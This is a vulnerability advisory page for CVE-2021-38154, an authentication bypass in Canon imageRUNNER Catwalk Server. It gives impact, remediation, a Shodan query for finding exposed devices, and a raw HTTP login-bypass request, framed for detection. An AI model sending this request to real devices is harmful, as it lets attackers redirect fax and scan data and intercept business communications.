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CVE-2021-38154: Canon Devices - Authentication Bypass in Catwalk Server

TitleCanon Devices - Authentication Bypass in Catwalk Server
Authordaffainfo
SeverityHigh
ImpactUnauthenticated attackers can modify email settings and redirect FAX and scan data to attacker-controlled email addresses when PIN protection is disabled, potentially intercepting sensitive business communications.
RemediationConfigure a PIN for General User Mode or apply Canon firmware updates that address this vulnerability.
CVSS Score7.5
EPSS Score0.11868
CVE IDCVE-2021-38154
CWE IDCWE-732
Shodan Querytitle:"imageRUNNER"
Tags cve cve2021 canon auth-bypass vkev vuln

🔍 Vulnerability Description

Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.

🌐 HTTP Request

POST /tryLogin.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

loginM=&0000=0011&0002=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38154.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38154.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A